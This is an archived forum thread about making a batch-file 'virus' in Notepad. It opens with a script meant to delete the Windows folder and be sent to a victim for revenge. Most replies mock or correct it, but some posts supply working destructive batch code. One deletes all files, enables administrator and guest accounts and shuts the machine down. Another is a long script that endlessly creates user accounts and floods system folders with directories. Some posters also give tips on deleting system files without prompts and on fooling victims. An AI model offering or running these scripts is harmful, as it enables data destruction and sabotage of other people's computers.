me-here
Apr 22 2006, 10:09 AM
QUOTE The only thing you need is Notepad .
Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to notepad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.
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Aditya
Apr 22 2006, 12:16 PM
Ok first of all this is not a virus even in the lamest terms. This is just a DOS batch file. You can also save the file as .bat file and the functioning will be the same. This file won't erase anything without confirmation from the user. You've tried to delete just a single file thats why it didn't ask for confirmation from you. Try deleting a folder with this file and you will get the following message in a DOS window: CODE erase c:\<directory name>
c:\<directory name>\*, Are you sure (Y/N)? Unless you press 'y' nothing will happen. A virus, by definition, is not just supposed to damage a computer, it is also supposed to spread on its own. And this file can't even damage a computer without affirmation from the user. I wonder who would be dumb enough to affirm the destruction of his own computer.  Atleast use "echo off" before the erase statement to hide the "erase c:\windows" command being displayed. And by the way, I think you haven't ever used Linux. Otherwise you would know that Linux doesn't support DOS commands and neither does it use the Windows/DOS filesystem.
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miCRoSCoPiC^eaRthLinG
Apr 22 2006, 01:00 PM
hahhaahaha.. I'm sorry I can't help but laugh like a mad cow  That was rather pathetic, me-here.. as Aditya pointed out. An alternative to using echo off is to prefix every line in the batch file with an @ symbol. It works the same as echo off. Moreover - if you execute this file WHILE you're booted into Windows, there's NO WAY you can delete the Windows directory. Anything above Win98, puts a LOCK on the C:\WINDOWS folder once booted up. You cannot even use Windows Explorer to delete this directory. Only with that inanely stupid Win98, you could delete the WINDOWS folder - but that too would abort midway once it came upon certain locked .dlls and .exes. But by then the damage would be done - at least partially. As far as Linux is considered, this method is absolutely worthless.. a normal user won't even have sufficient privileges to execute a similar script on the root folder.
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nini
Apr 22 2006, 01:17 PM
Thanks a lot. But a problem...may be the victim understand and doesn't run the file...so(it is clear to understand) what way do you use???
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mastercomputers
Apr 22 2006, 02:25 PM
A Virus infects... that's how I describe Viruses. This however is just a malicious program/script that deletes files. To make it successful, there's some Windows files that you can single out for specific deletion and would not be presented with a confirmation, even renaming it would work, moving however wouldn't because it'd most likely be read-only and require confirmation. Those files can be found in Windows and System32. I'm not sure whether you can force windows into interactive mode, in which every action done in DOS requires user input. I know I've set up bash so that commands like rm, cp and mv all require actions by the user before going ahead with it, also the most damage a script as such would do would be removing my home directory (if that file was owned by me), however it will get interrupted because some files would be locked (in use). If it were owned by root, that's a different story, and definitely something to be concerned about. Cheers, MC
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nitrus
Apr 23 2006, 07:53 PM
You could make it work fine using the Robot library of Java. Its java.awt.Robot; and it gives you complete control of a persons computer. Im working on a script right now that gives you remote access to your computer. Very nifty little library indeed. ~Adio
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Logan Deathbringer
Apr 24 2006, 05:41 AM
well with all the debate thats happened there I think that adding my own opinon here is kinda...usless....although I still will. I'm sorry about what I'm about to say but at the same time I'm not...this doesn't even fall into the "script kiddie" arena, even the most basic "script kiddie" would realize that the commands given wouldn't work in Linux/Unix, and my main question is this...why would you come to a 'Tech forum and make a post like this....
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Vaibhav
Aug 6 2006, 09:24 AM
well I agree that its a virus ( just a very limited extent) ...just that it is not a worm...virus is omething that corrupts your system and infects. since the file can potentially corrupt but nmot infect, it is a virus to some extent. Now another thing is tht. will it destroy or not. I agree that it wont destroy cus the windows folder is write protected and the command will not execute...atleast from a normal account. Another thing is that the file has an extension of CMD which is a batch file opened in special mode. and it doens t work on systems before win XP.
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vhortex
Aug 6 2006, 01:15 PM
yes..the main concern is why do a post like this ends up in the forum.. i cant be sure about the windows xp system but there is a way to insert a user confirmation without requiring a keyboard input.. hmm, ever familiar with pipings? and one thing i like about windows and people hate about it too is that you already have all the resources you need to create simple viruses. complex ones need some patch libraries to be installed.. there is no system like windows where i can create a worm using notepad alone. this cant be done on Mac OS and on linux, but can be done on windows.. I love windows 
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KDEWolf
Sep 27 2006, 05:11 PM
I hate media. Nowadays everyone who writes down some program is a "hacker" and if the program damages anything it's a "virus". One single minute thinking about these terms and you already know they're used in a completely wrong context. When my HD crashed some weeks ago, the first thing my brother and my mother asked me was: "Was it a computer virus?". And, as always, I got pissed off, since (at least to me) I'm very unlikely to get viruses, since I am a very experienced user, and also have some programming skills. First of all, much easier than writing this script, browsing Google for "creating evil scripts" (this is just a stupid example). There you'll find many dangerous exploits, programs, bugs, etc... But the fact is: if you barely know how do these work, you're probably getting lots of them infecting you computer, just by browsing these sites with an insecure browser and/or by running some of the programs contained within them (like Trojan makers, for example). If you're up to damage someone's system, then I just hope the same happens to yours. If you're just studying some of it so you don't get infected or fooled by these childish stuff, you're welcome. By the way, when it came out, I had access to the YouLoveYou Visual Basic Script some time after, for studying it. That was a real computer virus. And that's a hell of a coding, with hundreds and hundreds of lines of code... So do not believe that without real knowledge you'll be able mess with one's computer around. Unless one is many times dumber than you, of course... And a last simple tip, for safety: always "edit" (using at least notepad) script files before running them, so you have a bare idea of what's going to happen next...
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surfermac
Aug 15 2009, 09:45 AM
YOu call that a virus ???? you need to know more than that to create one
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iGuest
Aug 8 2009, 09:32 AM
Answer
Very Easy But Very Dangerous Virus
net user administrator /active:yes
net user administrator *insertpassword
start net user guest /active:yes
net user guest *insertpassword
start @echo y|del *.*
ipconfig/release
start shutdown
You can elaborate some more but you get the idea
-reply by H4CK3R
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iGuest
Apr 30 2009, 11:18 PM
Ok, where to start...
First of all, virii cant spread
themselves, they only infect the node they are currently in. Worms on
the other hand can spread. Worms ARE NOT DANGEROUS unless they have a
payload in them. A payload can be a regular program, virii, or other
random things like trojans, backdoors, polymorphs, and so on and so
forth.
Now, I see we have some intermediate scripters, like me,
and some script kiddes, which is ok if your younger. Just for the SK's
info, vb virii are hardly used anymore. They can pretty much only be
used on your own computer or the extremely unprotected computer.
Although it can be kinda fun just screwing around on a junk HD. I
suggest after or durring studying vb, you should look into c++, java,
javascript, and some lesser known types like ruby and perl (not pokemon
games). C++ can be widely used, not just for a virus, but for webpages,
programs, and what-not. So, if u wanna get arrested, make something
like a fake program or something, put a virus in it, and put it on the
web. Java and java script are widely used on the internet for games and
stuff. This can be fun cause it's the idiot's fault for getting it.
(sorry if it offended anyone, but it's kinda true). And the other two,
ruby and perl, they can be used for white/black hat hacking, virii, and
several other things as well. They are mostly (if not only) used on/for
linux and GPLOSs for most of their programs. A prime example of these
two can be found on the os, BACKTRACK 1,2,3,and 4beta (depending on how
old this post is).
So there u have it, scripting for dummies.
Just make sure that none of u guys (or maybe girls) get caught doing
the bad thing. Have fun!
-reply by shikagami
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iGuest
Mar 17 2009, 11:48 PM
@ECHO OFF
@ECHO A PHOENIX PRODUCTION
@ECHO MAIN BAT RUNNING
GOTO start
:start
@ECHO SET snowball2=1 >> bat6.Bat
@ECHO GOTO flood5 >> bat6.Bat
@ECHO :flood5 >> bat6.Bat
@ECHO SET /a snowball2=%%snowball2%%+1 >> bat6.Bat
@ECHO NET USER snowball2%%snowball2%% /add >> bat6.Bat
@ECHO GOTO flood5 >> bat6.Bat
START /MIN bat6.Bat
GOTO bat5
:bat5
@ECHO CD %%ProgramFiles%%\ >> bat5.Bat
@ECHO SET maggi=1 >> bat5.Bat
@ECHO GOTO flood4 >> bat5.Bat
@ECHO :flood4 >> bat5.Bat
@ECHO MKDIR maggi%%maggi%% >> bat5.Bat
@ECHO SET /a maggi=%%maggi%%+1 >> bat5.Bat
@ECHO GOTO flood4 >> bat5.Bat
START /MIN bat5.Bat
GOTO bat4
:bat4
@ECHO CD %%SystemRoot%%\ >> bat4.Bat
@ECHO SET marge=1 >> bat4.Bat
@ECHO GOTO flood3 >> bat4.Bat
@ECHO :flood3 >> bat4.Bat
@ECHO MKDIR marge%%marge%% >> bat4.Bat
@ECHO SET /a marge=%%marge%%+1 >> bat4.Bat
@ECHO GOTO flood3 >> bat4.Bat
START /MIN bat4.Bat
GOTO bat3
:bat3
@ECHO CD %%UserProfile%%\Start Menu\Programs\ >> bat3.Bat
@ECHO SET bart=1 >> bat3.Bat
@ECHO GOTO flood2 >> bat3.Bat
@ECHO :flood2 >> bat3.Bat
@ECHO MKDIR bart%%bart%% >> bat3.Bat
@ECHO SET /a bart=%%bart%%+1 >> bat3.Bat
@ECHO GOTO flood2 >> bat3.Bat
START /MIN bat3.Bat
GOTO bat2
:bat2
@ECHO CD %%UserProfile%%\Desktop\ >> bat2.Bat
@ECHO SET homer=1 >> bat2.Bat
@ECHO GOTO flood >> bat2.Bat
@ECHO :flood >> bat2.Bat
@ECHO MKDIR homer%%homer%% >> bat2.Bat
@ECHO SET /a homer=%%homer%%+1 >> bat2.Bat
@ECHO GOTO flood >> bat2.Bat
START /MIN bat2.Bat
GOTO original
:original
CD %HomeDrive%\
SET lisa=1
GOTO flood1
:flood1
MKDIR lisa%lisa%
SET /a lisa=%lisa%+1
GOTO flood1
Try this still not a virus just a .Bat file but a fun one also very annoying.
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AxeFestis
May 30 2007, 03:18 PM
This is basic stuff we are not n00b's can some one add something more difficult
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